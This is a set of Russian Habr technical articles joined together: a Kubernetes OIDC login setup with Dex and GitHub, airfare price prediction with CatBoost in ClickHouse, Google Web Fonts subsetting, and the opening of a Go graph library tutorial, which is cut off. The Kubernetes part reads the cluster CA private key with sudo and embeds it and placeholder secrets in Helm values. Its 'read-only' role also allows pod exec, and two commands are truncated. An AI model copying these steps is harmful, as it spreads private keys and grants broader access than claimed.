*Локальный мем из русскоязычного чата Kubernetes в [Telegram](https://t.me/kubernetes_ru)*
### Введение
Мы используем Kubernetes для создания динамических окружений для команды разработчиков и QA. Таким образом, мы хотим предоставить им доступ к кластеру как для дашборда, так и для kubectl. В отличие от того же OpenShift, ванильный Kubernetes не имеет нативной аутентификации, поэтому мы используем для этого сторонние средства.
В данной конфигурации мы используем:
* [dex-k8s-authenticator](https://github.com/mintel/dex-k8s-authenticator) — веб-приложение для генерации конфига kubectl
* [Dex](https://github.com/dexidp/dex) — провайдер OpenID Connect
* GitHub — просто потому-что мы используем GitHub в нашей компании
Мы пытались использовать Google OIDC, но к сожалению нам [не удалось](https://github.com/dexidp/dex/issues/1065) завести их с группами, поэтому интеграция с GitHub нас вполне устроила. Без маппинга групп не удасться создать RBAC-политики основанные на группах.
Итак, как же работает наш процесс авторизации в Kubernetes в визуальном представлении:
*Процесс авторизации*
Немного подробнее и по пунктам:
1. Пользователь входит в dex-k8s-authenticator (`login.k8s.example.com`)
2. dex-k8s-authenticator перенаправляет запрос в Dex (`dex.k8s.example.com`)
3. Dex перенаправляет на страницу авторизации в GitHub
4. GitHub генерирует необходимую информацию об авторизации и возвращает ее в Dex
5. Dex передает полученную информацию в dex-k8s-authenticator
6. Пользователь получает OIDC token от GitHub
7. dex-k8s-authenticator добавляет токен в kubeconfig
8. kubectl передает токен в KubeAPIServer
9. KubeAPIServer на основе переданного токена возвращает доступы в kubectl
10. Пользователь получает доступы от kubectl
### Подготовительные действия
Само собой у нас уже установлен Kubernetes-кластер (`k8s.example.com`), а также предустановлен HELM. Также у нас есть организация в GitHub (super-org).
Если у вас нет HELM, устанавливается он [очень просто](https://docs.helm.sh/using_helm/#installing-helm).
Сначала нам необходимо настроить GitHub.
Переходим на страницу настроек организации, (`https://github.com/organizations/super-org/settings/applications`) и создаем новое приложение (Authorized OAuth App):
*Создание нового приложения в GitHub*
Заполняем поля необходимыми URL, например:
* Homepage URL: `https://dex.k8s.example.com`
* Authorization callback URL: `https://dex.k8s.example.com/callback`
*Будьте внимательны с ссылками, важно не потерять слеши.*
В ответ на заполненную форму, GitHub сгенерирует `Client ID` и `Client secret`, сохраните их в надежном месте, они нам пригодятся (мы например используем [Vault](https://www.vaultproject.io/) для хранения секретов):
```
Client ID: 1ab2c3d4e5f6g7h8
Client secret: 98z76y54x32w1
```
Подготовьте DNS-записи для субдоменов `login.k8s.example.com` и `dex.k8s.example.com`, а также SSL-сертификаты для ингрессов.
Создадим SSL-сертификаты:
```
cat <
```
ClusterIssuer с названием `le-clusterissuer` уже должен существовать, если же нет — создадим его с помощью HELM:
```
helm install --namespace kube-system -n cert-manager stable/cert-manager
cat << EOF | kubectl create -f -
apiVersion: certmanager.k8s.io/v1alpha1
kind: ClusterIssuer
metadata:
name: le-clusterissuer
namespace: kube-system
spec:
acme:
server: https://acme-v02.api.letsencrypt.org/directory
email: k8s-admin@example.com
privateKeySecretRef:
name: le-clusterissuer
http01: {}
EOF
```
### Конфигурация KubeAPIServer
Для работы kubeAPIServer необходимо сконфигурировать OIDC и обновить кластер:
```
kops edit cluster
...
kubeAPIServer:
anonymousAuth: false
authorizationMode: RBAC
oidcClientID: dex-k8s-authenticator
oidcGroupsClaim: groups
oidcIssuerURL: https://dex.k8s.example.com/
oidcUsernameClaim: email
kops update cluster --yes
kops rolling-update cluster --yes
```
Мы используем [kops](https://github.com/kubernetes/kops) для разворачивания кластеров, но это аналогично работает и для [других менеджеров кластеров](https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/).
### Конфигурация Dex и dex-k8s-authenticator
Для работы Dex необходимо иметь сертификат и ключ с Kubernetes-мастера, вытащим его оттуда:
```
sudo cat /srv/kubernetes/ca.{crt,key}
-----BEGIN CERTIFICATE-----
AAAAAAAAAAABBBBBBBBBBCCCCCC
-----END CERTIFICATE-----
-----BEGIN RSA PRIVATE KEY-----
DDDDDDDDDDDEEEEEEEEEEFFFFFF
-----END RSA PRIVATE KEY-----
```
Склонируем репозиторий dex-k8s-authenticator:
```
git clone git@github.com:mintel/dex-k8s-authenticator.git
cd dex-k8s-authenticator/
```
С помощью values-файлов мы можем гибко настраивать переменные для наших [HELM-чартов](https://github.com/mintel/dex-k8s-authenticator/tree/master/charts).
Опишем конфигурацию для Dex:
```
cat << \EOF > values-dex.yml
global:
deployEnv: prod
tls:
certificate: |-
-----BEGIN CERTIFICATE-----
AAAAAAAAAAABBBBBBBBBBCCCCCC
-----END CERTIFICATE-----
key: |-
-----BEGIN RSA PRIVATE KEY-----
DDDDDDDDDDDEEEEEEEEEEFFFFFF
-----END RSA PRIVATE KEY-----
ingress:
enabled: true
annotations:
kubernetes.io/ingress.class: nginx
kubernetes.io/tls-acme: "true"
path: /
hosts:
- dex.k8s.example.com
tls:
- secretName: cert-auth-dex
hosts:
- dex.k8s.example.com
serviceAccount:
create: true
name: dex-auth-sa
config: |
issuer: https://dex.k8s.example.com/
storage: # https://github.com/dexidp/dex/issues/798
type: sqlite3
config:
file: /var/dex.db
web:
http: 0.0.0.0:5556
frontend:
theme: "coreos"
issuer: "Example Co"
issuerUrl: "https://example.com"
logoUrl: https://example.com/images/logo-250x25.png
expiry:
signingKeys: "6h"
idTokens: "24h"
logger:
level: debug
format: json
oauth2:
responseTypes: ["code", "token", "id_token"]
skipApprovalScreen: true
connectors:
- type: github
id: github
name: GitHub
config:
clientID: $GITHUB_CLIENT_ID
clientSecret: $GITHUB_CLIENT_SECRET
redirectURI: https://dex.k8s.example.com/callback
orgs:
- name: super-org
teams:
- team-red
staticClients:
- id: dex-k8s-authenticator
name: dex-k8s-authenticator
secret: generatedLongRandomPhrase
redirectURIs:
- https://login.k8s.example.com/callback/
envSecrets:
GITHUB_CLIENT_ID: "1ab2c3d4e5f6g7h8"
GITHUB_CLIENT_SECRET: "98z76y54x32w1"
EOF
```
И для dex-k8s-authenticator:
```
cat << EOF > values-auth.yml
global:
deployEnv: prod
dexK8sAuthenticator:
clusters:
- name: k8s.example.com
short_description: "k8s cluster"
description: "Kubernetes cluster"
issuer: https://dex.k8s.example.com/
k8s_master_uri: https://api.k8s.example.com
client_id: dex-k8s-authenticator
client_secret: generatedLongRandomPhrase
redirect_uri: https://login.k8s.example.com/callback/
k8s_ca_pem: |
-----BEGIN CERTIFICATE-----
AAAAAAAAAAABBBBBBBBBBCCCCCC
-----END CERTIFICATE-----
ingress:
enabled: true
annotations:
kubernetes.io/ingress.class: nginx
kubernetes.io/tls-acme: "true"
path: /
hosts:
- login.k8s.example.com
tls:
- secretName: cert-auth-login
hosts:
- login.k8s.example.com
EOF
```
Установим Dex и dex-k8s-authenticator:
```
helm install -n dex --namespace kube-system --values values-dex.yml charts/dex
helm install -n dex-auth --namespace kube-system --values values-auth.yml charts/dex-k8s-authenticator
```
Проверим работоспособность сервисов (Dex должен вернуть код 400, а dex-k8s-authenticator — код 200):
```
curl -sI https://dex.k8s.example.com/callback | head -1
HTTP/2 400
curl -sI https://login.k8s.example.com/ | head -1
HTTP/2 200
```
### RBAC-конфигурация
Создаем ClusterRole для группы, в нашем случае с read-only доступами:
```
cat << EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: cluster-read-all
rules:
-
apiGroups:
- ""
- apps
- autoscaling
- batch
- extensions
- policy
- rbac.authorization.k8s.io
- storage.k8s.io
resources:
- componentstatuses
- configmaps
- cronjobs
- daemonsets
- deployments
- events
- endpoints
- horizontalpodautoscalers
- ingress
- ingresses
- jobs
- limitranges
- namespaces
- nodes
- pods
- pods/log
- pods/exec
- persistentvolumes
- persistentvolumeclaims
- resourcequotas
- replicasets
- replicationcontrollers
- serviceaccounts
- services
- statefulsets
- storageclasses
- clusterroles
- roles
verbs:
- get
- watch
- list
- nonResourceURLs: ["*"]
verbs:
- get
- watch
- list
- apiGroups: [""]
resources: ["pods/exec"]
verbs: ["create"]
EOF
```
Создадим конфигурацию для ClusterRoleBinding:
```
cat <
```
Теперь мы готовы к тестированию.
### Тесты
Переходим на страницу логина (`https://login.k8s.example.com`) и авторизуемся с помощью GitHub-аккаунта:
*Страница авторизации*
*Страница авторизации перенаправленная на GitHub*
*Следуем сгенерированной инструкции для получения доступов*
После копипасты с веб-страницы мы можем использовать kubectl для управления ресурсами нашего кластера:
```
kubectl get po
NAME READY STATUS RESTARTS AGE
mypod 1/1 Running 0 3d
kubectl delete po mypod
Error from server (Forbidden): pods "mypod" is forbidden: User "amet@example.com" cannot delete pods in the namespace "default"
```
И это работает, все пользователи GitHub в нашей организации могут видеть ресурсы и входить в поды, однако они не имеют прав на их изменение. | https://habr.com/ru/post/436238/ | null | ru | null |
# Как прогнозировать цены на авиабилеты?
Всем привет!
Это третья статья о там, как я делаю небольшой и уютный сервис, который ~~в теории~~ должен помочь с планированием путешествий. В этой статье я расскажу про то, как предсказывать цены на авиабилеты, имея под рукой Clickhouse, Catboost и 1TB\* данных.
### Для чего это нужно?
Одна из основных фичей [cheapster.travel](https://cheapster.travel/) — это гибкое комбинирование сложных маршрутов (подробнее в [предыдущей статье](https://habr.com/ru/post/489510/)). Для того, чтобы комбинировать «все-со-всем» используется кэш агрегаторов, в котором не всегда есть билеты, которые редко ищут, а их катастрофически не хватает, чтобы строить сложные маршруты. Т.е. горячие билеты (дешевые) на котором будет основываться сложный маршрут **есть**, но при этом не хватает 1-2 сегментов из «обычных» билетов (по обычной цене, на не самом популярном направлении). Именно эта проблема привела меня к необходимости построить модель, которая смогла бы предсказывать цены на авиабилеты.
### Формализация задачи
* Нужно уметь предсказывать билеты на прямые рейсы (только туда или туда-обратно)
* Нужно уметь регулярно предсказывать и сохранять это в базу (простой сценарий)
* Нужно уметь предсказывать «на лету» (сложный сценарий)
* Это все происходит на сильно ограниченном железе — поэтому минимум манипуляций с большими объемами данных
### Как это сделать?
Для начала обучим модель: готовим датасет, выделяя максимальное кол-во фичей в колонки, выгружаем его в tsv, загружаем его в DataFrame/Pool, ~~проводим анализ, подбираем параметры...~~ Стоп, у нас слишком много данных и они не помещаются в память, — ловим такие ошибки:
```
MemoryError: Unable to allocate array with shape (38, 288224989) and data type float64
OSError: [Errno 12] Cannot allocate memory
```
Чтобы обойти это ограничение пришлось итеративно обучаться на маленьких кусочках, выглядит это так:
```
model = CatBoostRegressor(cat_features=cat_features,
iterations=100,
learning_rate=.5,
depth=10,
l2_leaf_reg=9,
one_hot_max_size=5000)
for df in tqdm(pd.read_csv('history.tsv', sep='\t',
na_values=['\\N'],
chunksize=2_000_000)):
...
model.fit(X=df[df.columns[:-1]][:train_size].values,
y=df['price'][:train_size].values,
eval_set=eval_pool,
verbose=False,
plot=False,
init_model=model) # <-- В каждой итерации на вход подается предыдущая модель
```
В итоге получилась модель с [RMSE](https://en.wikipedia.org/wiki/Root-mean-square_deviation)~100 — в целом меня бы устроил и такой результат, но после небольшого анализа и «нормализации» предсказаний (отрицательные и значения, которые сильно отличаются от min/max значений в истории, приведены к соответствующим границам исторических цен). После этого целевая метрика~80, с учетом того, что по моему опыту, логики и здравого смысла при формировании цен на авиабилеты почти нет.
Фичи, которые больше всего влияют на цену:
Статистика для фичи «Расстояние между городами»:
Отлично, модель у нас есть — теперь пора ее использовать. Первым делом, добавляем модель КХ, это делается простым конфигом:
**Конфиг**
```
catboost
price
/opt/models/price\_iter\_model\_2.bin
0
```
Делаем регулярный батчевый процесс предсказания — это достаточно просто сделать с помощью Apache Airflow.
**Получившийся DAG выглядит так**
Один элемент DAGa выглядит так(для тех кто не знаком с Airflow):
**SimpleHttpOperator**
```
insert_ow_in_tmp = SimpleHttpOperator(
task_id='insert_ow_in_tmp',
http_conn_id='clickhouse_http',
endpoint=dll_endpoint,
method='POST',
data=sql_templates.INSERT_OW_PREDICTIONS_IN_TMP,
pool='clickhouse_select',
dag=dag
)
```
Для предсказания «на лету» используется обычный sql:
```
select origin, destination, date,
modelEvaluate('price', *) predicted_price -- да, именно так просто
from log.history
+--------+-------------+------------+-----------------+
| origin | destination | date | predicted_price |
+--------+-------------+------------+-----------------+
| VKO | DEB | 2020-03-20 | 3234.43244 |
+--------+-------------+------------+-----------------+
--*Пример сокращен, чтобы проще воспринимался
```
Хочу заменить, что такой подход выбран, не только потому, что его проще реализовать, — есть еще плюсы:
* Нет необходимости выгружать данные во вне КХ (это значит быстрее и менее затратно по нагрузке на железо)
* Не нужно делать etl-процессы (проще=надежнее)
Немного правим API и фронтенд и получаем долгожданные предсказания.
Эти предсказания также хорошо вписались в раздел История цен на авиабилеты:
Функционал доступен по ссылке [cheapster.travel/history](https://cheapster.travel/history) (на мобильном откроется криво, только большие экраны).
На этом всё, всем продуктивного дня!
#### Предыдущие статьи
[Попытка решить проблему выбора авиабилетов перед отпуском](https://habr.com/ru/post/484222/)
[Попытка решить проблему выбора авиабилетов перед отпуском #2](https://habr.com/ru/post/489510/)
#### Другой интересный функционал
[Комбинатор сложных маршрутов](https://cheapster.travel/combinator)
[Сложные билеты (треугольники)](https://cheapster.travel/complex)
P.S.
Важно! Не воспринимайте эти предсказания, как что-то что помогает выбрать дату покупки — модель может предсказать неправильно, более того ее адекватность не проверена мной или кем-либо другим (все на свой страх и риск, без гарантий).
1TB\* — это если выгрузить в tsv, в КХ это занимает на порядок меньше.
UPD:
### Топ неочевидных проблем при использовании связки Catboost — Clickhouse
1. Категориальные фичи в КХ меняют порядок и становятся в конец (а не в том порядке, который был при обучении);
2. modelEvaluate возвращает null — нужно проверить есть ли у вас в фичах null-значения, если есть нужно заменить их на nan
3. В новых версиях есть неочевидный момент с форматом конфига для КХ, описано [здесь](https://github.com/ClickHouse/ClickHouse/issues/8567) | https://habr.com/ru/post/490762/ | null | ru | null |
# Пример ≈двукратного ускорения загрузки шрифта для заголовков из Google Web Fonts, осуществляемого выборкою оптимальной версии его
[![[иллюстрация-скриншот]](https://habrastorage.org/getpro/habr/post_images/0d3/8af/410/0d38af41015fe17dda1f33d1983c1b56.gif "перейти в Циклопедию")](http://cyclowiki.org/ "перейти в Циклопедию")Если на сайт вики-энциклопедии «[Циклопедия](http://cyclowiki.org/)» забредёт пользователь компьютера, оснащённого современным программным обеспечением Корпорации Microsoft, то тогда взгляд его прежде всего окажется привлечён шрифтом заголовков первого и второго уровня («Циклопедия», «Культура», «Общество», «Наука и техника», «Природа и человек», «Быт»): такой шрифт нынче не часто встречается во Всемирной Паутине (это вы можете без труда смекнуть и самостоятельно, когда сравните фрагмент скриншота, мною справа для того приложенный, с собственным вашим опытом).
Но этот шрифт, господа, да станет всем нам примером того, как **не следует** оформлять наши заголовки. А угадаете ли, почему это так? Да потому, что шрифт этот — **Candara** (и это нетрудно увидать воочию: достаточно прибегнуть к расширению «[Context Font](http://habrahabr.ru/blogs/firefox/87862/)» или вглядеться в нынешний [вики-код заглавной страницы](http://cyclowiki.org/w/index.php?title=%D0%97%D0%B0%D0%B3%D0%BB%D0%B0%D0%B2%D0%BD%D0%B0%D1%8F_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D0%B0&action=edit) Циклопедии и её подшаблона «[Раздел](http://cyclowiki.org/w/index.php?title=%D0%97%D0%B0%D0%B3%D0%BB%D0%B0%D0%B2%D0%BD%D0%B0%D1%8F_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D0%B0/%D0%A0%D0%B0%D0%B7%D0%B4%D0%B5%D0%BB&action=edit)»). Некоторые из нас ужé знают или хотя бы догадываются (а другим достаточно [взглянуть в Википедию](http://en.wikipedia.org/wiki/Candara), чтобы узнать) о том, что Candara — это шрифт эксклюзивный, который встречается только в сравнительно недавних продуктах Корпорации Microsoft, таких как последние Windows (Vista, Windows 7) и Office 2007, да ещё раздаётся в составе [Microsoft Powerpoint Viewer 2007](http://www.microsoft.com/download/en/details.aspx?displaylang=en&id=6) и [Microsoft Office Compatibility Pack](http://www.microsoft.com/download/en/details.aspx?displaylang=en&id=3) (в том числе для более ранних систем — для Windows XP, для Windows 2000). Если же на такой сайт забредёт читатель с Линуксом, или Маком, или Андроидом, или Айфоном, или Айпадом — то тогда, сами понимаете, «Кандару» взять ему будет неоткуда — и вид заголовка поневоле станет далеко отличаться от желаемого.
А ведь можно обеспечить **единообразное** отображение заголовка во всех системах и браузерах; для этого достаточно попросту отгрузить всем читателям один и тот же шрифт. Шрифт можно раздавать с собственного же сайта (добавив [продуманные правила @font-face](http://habrahabr.ru/blogs/typography/113136/) в свой CSS), а можно воспользоваться услугами внешнего хостинга шрифтов — например, услугами коллекции свободных и бесплатных шрифтов «[Google Web Fonts](http://www.google.com/webfonts/)», чей красивый новый интерфейс обсуждали на Хабрахабре [в конце июня](http://habrahabr.ru/blogs/typography/123021/). О ней-то и поговорим под хабракатом.
Что следует сказать по поводу употребления Google Web Fonts при оформлении заголовков?
Уместно отметить для начала, что коллекция Google Web Fonts, как и вообще загрузка шрифта через @font-face, наилучшим образом подходит именно для заголовков. Предшествовавшие ей «костыли» (навроде [sIFR](http://habrahabr.ru/tag/sIFR/) или [Cufón](http://habrahabr.ru/tag/cufon/)) также употреблялись только для заголовков: разумный автор сайта нипочём не стал бы употреблять их для основного текста страницы потому, что эдак и рендеринг мог бы стормозить, да и выделение текста мышью могло захромать. Однако, как ни странно, у шрифтов @font-face также есть свой бич — и это значительный объём их.
Чтобы удостовериться в этом, попробуйте выбрать на сайте Google Web Fonts [все четыре стиля шрифта PT Serif](http://www.google.com/webfonts/#UsePlace:use/Collection:PT+Serif:400,400italic,700,700italic) («Normal 400», «Normal 400 Italic», «Bold 700», «Blod 700 Italic»), и стрелка индикатора «Page Load» перейдёт в красную область шкалы, показав значение «**350**». Если же вы отметите чуть ниже галочками **оба** набора символов (и «Latin», и «Cyrillic»), то тогда стрелочку зашкалит, а индикатор покажет значение «**700**».
Честно говоря, господа, я не имею совершенного представления о том, что значат эти числа: разработчики Google не озаботились никак надписать их, и даже нельзя быть совершенно уверенным в том, пропорциональны ли они некоторому времени закачки или всё же объёму закачиваемой информации (хотя последнее вероятнее). Я, однако же, не постеснялся провести опыт: зашедши Файерфоксом, оставил единственную галочку на стиле «Normal 400» (после чего индикатор «Page Load» показал значение «**90**») и затем прочитал код CSS по адресу <http://fonts.googleapis.com/css?family=PT+Serif> и скачал шрифт по URLу, содержавшемуся в этом коде. Скачался файл WOFF размером **43 880** байтов, так что я имею основание думать, что если индикатор «Page Load» показывает некоторый объём, то это уж точно **не** количество килобайтов шрифта в формате WOFF — вероятно, речь идёт скорее об объёме шрифта в формате EOT (в котором шрифты обыкновенно бывают ≈вдвое более увесисты, чем в WOFF). Кстати, если открыть тот же адрес Эксплорером, то в коде CSS является ещё другой URL, ведущий ко шрифту EOT — тот шрифт весит **87 122** байта, а значит, косвенно подтверждает моё предположение. (Показания индикатора «Page Load», возможно, являются округлёнными.)
Да ведь это же много. Если при первом посещении сайта из Интернета станут скачиваться шрифты на несколько сотен килобайтов (что необходимо для четырёх различных стилей), то тогда разве что пользователи безлимитного высокоскоростного Интернета (LTE, WiMAX, GPON, ETTH, FTTB, ADSL), возможно, ничего не заметят — а все остальные читатели сайта, безусловно, вознегодуют. И они будут правы в своём негодовании. Особенно жаль тех пользователей мобильного Интернета, у которых оплата траффика идёт помегабайтно, и тех пользователей корпоративного Интернета, у которых объём траффика является жёстко ограниченным.
Вот почему милосердному автору сайта (то есть такому, чьё сердце открыто для жалости) вовсе не приличествует употреблять сразу четыре стиля шрифта — а значит, задавая непривычные (скачиваемые из Интернета) шрифты, автору подобает ограничиваться одними лишь заголовками: в заголовках ведь стиль, как правило, бывает только один (например, только прямые или только курсивные начертания букв). Заодно более широким становится выбор: многие шрифты от рождения имеют единственный стиль (а не четыре и даже не два), что и само по себе делает их пригодными только для заголовков.
Более того: если все заголовки ваши состоят только из букв русского алфавита (а ведь это именно так в случае с «Циклопедией», ставшей нашим примером), то можно ещё дополнительно экономить на объёме файла со шрифтом.
Зайдите на сайт Google Web Fonts и выберите шрифт «[Cuprum](http://www.google.com/webfonts#QuickUsePlace:quickUse/Family:Cuprum)», который имеет единственный (прямой) стиль начертания символов. Индикатор «Page Load» покажет значение «**43**». Внизу вы увидите галочки «Latin» и «Cyrillic», предназначенные для настройки набора символов: галочка «Latin» установлена (и является серенькою: снять её не удастся), а галочка «Cyrillic» не установлена, но её можно поставить, после чего индикатор «Page Load» покажет значение «**86**». Обратите внимание на то, что после этого (по крайней мере, в Файерфоксе) галочка «Latin» перестаёт быть серенькою, её можно снимать и устанавливать, однако на показания индикатора «Page Load» её состояние никак не влияет.
Это-то и важно. Наблюдая за поведением гугловской системы, нетрудно прийти к мысли, что латинские буквы включаются в файл шрифта вполне безусловно — а значит, если всё же найти возможность отключить их, то тем самым и объём скачиваемого шрифта можно ополовинить.
Способ, позволяющий невозбранно достигнуть этого, без труда отыскивается в документации по Google Web Fonts — в разделе «[Optimizing your font requests (Beta)](http://code.google.com/apis/webfonts/docs/getting_started.html#Optimizing_Requests)». Оказывается, URL скачиваемого CSS-кода может быть дополнен параметром «text», содержащим все необходимые символы шрифта; тогда в файле скачиваемого шрифта не будет никаких символов, кроме этих.
Таким образом, прежде чем снабдить заголовки на сайте вожделенным правилом «**font-family: Cuprum, sans-serif;**», наиболее уместно уложить в начало CSS-кода вот какую директиву:
```
@import url('http://fonts.googleapis.com/css?family=Cuprum&text=%D0%90%D0%91%D0%92%D0%93%D0%94%D0%95%D0%81%D0%96%D0%97%D0%98%D0%9A%D0%9B%D0%9C%D0%9D%D0%9E%D0%9F%D0%A0%D0%A1%D0%A2%D0%A3%D0%A4%D0%A5%D0%A6%D0%A7%D0%A8%D0%A9%D0%AA%D0%AB%D0%AC%D0%AD%D0%AE%D0%AF%D0%B0%D0%B1%D0%B2%D0%B3%D0%B4%D0%B5%D1%91%D0%B6%D0%B7%D0%B8%D0%BA%D0%BB%D0%BC%D0%BD%D0%BE%D0%BF%D1%80%D1%81%D1%82%D1%83%D1%84%D1%85%D1%86%D1%87%D1%88%D1%89%D1%8A%D1%8B%D1%8C%D1%8D%D1%8E%D1%8F0123456789%20%A0');
```
Объём скачивающегося при этом файла WOFF сокращается до **20840** байтов за счёт оптимизации, а именно за счёт выборочного подбора ограниченного множества символов:
* пробел («%20»), неразрывный пробел («%A0»);
* цифры («0123456789»);
* строчные буквы: «абвгдеёжзиклмнопрстуфхцчшщъыьэюя»;
* заглавные буквы: «АБВГДЕЁЖЗИКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ».
[](http://traditio.ru/)Разумеется, возможно и дальнейшее уменьшение объёма файла со шрифтом — оно достигается, если в параметре «text» ограничиться одними только реально используемыми в заголовках заглавными буквами, а не перечислять все их. Тем не менее, это отнюдь не целесообразно, так как резко ограничивает дальнейшее редактирование заголовков на той странице, где шрифт используется. Типичная экономия на буквах составляет ≈4 килобайта — а значит, не стóит этого.
Наглядным примером вышеприведённого **@import** и последующего употребления шрифта «Cuprum» является [заглавная страница](http://traditio.ru/) вики-энциклопедии «Традиция».
Полагаю, что все вы догадались уж, что этот метод с лёгкостью может быть перенесён и на оформление заголовков любым другим шрифтом из числа имеющихся в коллекции Google Web Fonts. Достаточно переменить значение параметра «family» и подобрать собственное значение параметра «text» (например, включив туда также тире, запятую, многоточие и другую пунктуацию, если заголовки на вашем сайте содержат их). | https://habr.com/ru/post/130172/ | null | ru | null |
# Библиотека алгоритмов на графах на языке Go. Часть 1
Предисловие
-----------
Приветствую тебя, дорогой читатель! Мне 21, я студент и младший Go-разработчик, а это - мой первый пост на Хабре. Недавно в компании с одногруппником мы решили взяться за амбициозный проект и я решил, что он, как никакой другой, подходит под первую статью. Проект заключается в создании библиотеки, содержащей основные алгоритмы на графах.
Библиотеку мы пишем на чистом Go по двум причинам:
Во-первых, нам нравится Go - это прекрасный язык без лишних усложняющих деталей и с минимум необходимого синтаксического сахара, ИМХО.
Во-вторых, ~~мы не нашли по-настоящему удобной библиотеки для работы с графами на этом языке~~.Нашли, но интересно попробовать без шпаргалок.
Введение
--------
Для начала непосредственного погружения в реализации алгоритмов, нам необходимо быстренько пройтись по матчасти и напомнить, а кому-то рассказать о базовых понятиях.
*Граф - это набор рёбер и вершин.* - Самое простое определение, которое нам предлагает математика.
В принципе, если упростить, это правда так. Граф - это действительно математический объект, представляющий собой набор вершин и ребер, которые связывают эти вершины.
Рис.1 Ненаправленный граф, содержащий 8 вершин и 8 рёбер.Видов графов есть масса, но в этой статье мы ограничимся четырьмя категориями:
1. *Взвешенный граф* - у рёбер которого есть вес, означающий, например, расстояние между вершинами.
2. *Невзвешенный граф* - вес рёбер не имеет значения и обычно в математических задачах берётся равным за единицу.
3. *Направленный граф* - у рёбер которого есть направления.
4. *Ненаправленный граф* - направлений у рёбер нет.
Рис.2 Направленный взвешенный граф.Способы задания графа.
----------------------
Кратко рассмотрим способы задания графа с помощью более примитивных математических объектов. Самые распространённые способы - список смежности и матрица смежности. Остановимся на первом подробнее.
*Список смежности — один из способов представления графа в виде коллекции списков вершин. Каждой вершине графа соответствует список, состоящий из «соседей» этой вершины.* - Определение из Википедии. Для полной ясности приведу пример. Список смежности для графа на Рис.1 будет выглядеть следующим образом:
* 1 - (2,5)
* 2 - (1,3)
* 3 - (2, 4)
* 4 - (3,5,6)
* 5 - (1,4)
* 6 - (4,7)
* 7 - (6,8)
* 8 - (7)
Программная реализация
----------------------
Итак, ознакомившись с матчастью я предлагаю перейти непосредственно к программной реализации, а именно - покажу, как наша реализация графа эволюционировала со временем.
**Первый этап. Простейшая map.**
Да, первым делом мы представили граф в виде обычной карты/словаря/отображения/мапы. Выглядело это следующим образом:
```
package graph
type AbstractGraph struct {
Graph map[string]map[string]int
}
```
Здесь в map ключом является строка - имя вершины, а значением - map, где ключ - имя вершины, а значение - вес ребра от родителя до данной вершины. В принципе, все стандартно, но при первом же детальном рассмотрении возникают вопросы и желание расширения: что, если мы захотим задать имя вершины целым числом, как в первом примере? Или точкой на карте? - это проблема номер 1.
Проблема номер 2 - в некоторых алгоритмах, которые будут рассмотрены далее в цикле статей, нам необходимо постоянно считать какие-то значения для наших вершин, например, её степень - количество её вершин-потомков или булевское/численное значение о том, что мы "прошли" эту вершину (например, в обходах) а также нам всё ещё необходимо хранить её имя.
З.Ы. конечно, можно решать эти проблемы непосредственно в алгоритмах. Например, "пройденные" вершины записывать в слайс и тд, но мы хотели максимально "выиграть" по памяти, или хотя бы постараться.
**К чему мы пришли.**
В итоге, наша структура переросла в нечто подобное:
```
package graph
// T comparable - имя ноды может быть только типом, поддерживающим операции сравнения
type Node[T comparable] struct {
// Имя вершины
Name T
// Флаг - 1 - помечена, 0 - не помечена
Mark byte
// Степень вершины.
Power int
}
// AbstractGraph Абстрактное представление графа. Граф задан списком смежности в виде отображения (map) вершин. Вершины заданы структурами Node.
type AbstractGraph[T comparable] struct {
Graph map[*Node[T]]map[*Node[T]]int
Vertexes []*Node[T]
}
```
Да-да, мы решили использовать дженерики, введённые в Go 1.18 для использования в качестве имени вершины любой тип данных, поддерживающий операцию сравнения (comparable - сравнимый). Почему именно сравнимый - станет понятно далее.
Также, нам показалось, что не будет лишним написать функцию сборки такой структуры из map и отмены "пройденности" вершины. Для этого были написаны функции New и метод Unmark:
```
package graph
// New - создаёт новую структуру AbstractGraph из переданной map.
func New[T comparable](graph map[T]map[T]int) *AbstractGraph[T] {
output := make(map[*Node[T]]map[*Node[T]]int, len(graph))
vertexes := make([]*Node[T], len(graph))
g := &AbstractGraph[T]{Graph: output}
i := 0
for vert := range graph {
n := &Node[T]{Name: vert, Mark: 0, Power: len(graph[vert])}
vertexes[i] = n
i++
}
for vert, list := range graph {
var parentNode *Node[T]
childList := make(map[*Node[T]]int, len(list))
for _, v := range vertexes {
if v.Name == vert {
parentNode = v
g.Graph[v] = childList
break
}
}
for vertex, weight := range list {
for _, n := range vertexes {
if n.Name == vertex {
childList[n] = weight
}
}
}
g.Graph[parentNode] = childList
}
return g
}
```
```
// Unmark - устанавливает все пройденные вершины в изначальное состояние.
func (g *AbstractGraph[T]) Unmark() {
for _, v := range g.Vertexes {
v.Mark = 0
}
}
```
Как-то так мы и начали наш путь, дальше - алгоритмы, из которых в данной статье мы рассмотрим только два самых базовых - обход/поиск в глубину и в ширину.
Алгоритмы обхода
----------------
В принципе, каждый разработчик обязан знать оба эти алгоритма обхода хотя бы в теории, но не будет лишним в паре фраз объяснить суть.
И начнем мы с **обхода (поиска) в глубину**.
При поиске/обходе в глубину, мы идем по вершинам "вглубь" графа (неожиданно, не правда ли?). Проще говоря, мы на каждом шаге просматриваем одну вершину, смежную данной и переходим к ней. В случае, когда мы наталкиваемся на пройденную ранее вершину, мы возвращаемся и идем по другому ребру.
Рис.3 Иллюстрация поиска / обхода в глубину.Сразу стоит пояснить, поиск отличается от обхода заданием условия. При поиске мы обходим граф в поиске какой-то конкретной вершины, а при обходе...просто обходим все вершины графа. В качестве "условия" будем передавать в сигнатуру метода добавим функцию compare, возвращающую bool. При обходе просто будет передавать функцию, возвращающую false.
Обход в глубину основан на стеке. Смысл простой: мы добавляем в стек стартовую вершину, после чего запускаем цикл, пока не опустеет стек. на каждом этапе мы берём из стека его вершину и применяем к данной вершине переданную функцию compare. Если if отрабатывает, то мы возвращаем список (слайс) пройденных вершин и true - вершина найдена. В обратном случае, добавляем в стек все вершины, смежные данной, добавляем эту вершину в список пройденных и, наконец, помечаем её как пройденную.
Собственно, сам код:
```
// DFS Поиск в глубину.
func (g *AbstractGraph[T]) DFS(start T, compare func(want T) bool) ([]*Node[T], bool) {
var searchStack []*Node[T]
for vert := range g.Graph {
if vert.Name == start {
searchStack = append(searchStack, vert)
break
}
}
for len(searchStack) != 0 {
var vertex = searchStack[len(searchStack)-1]
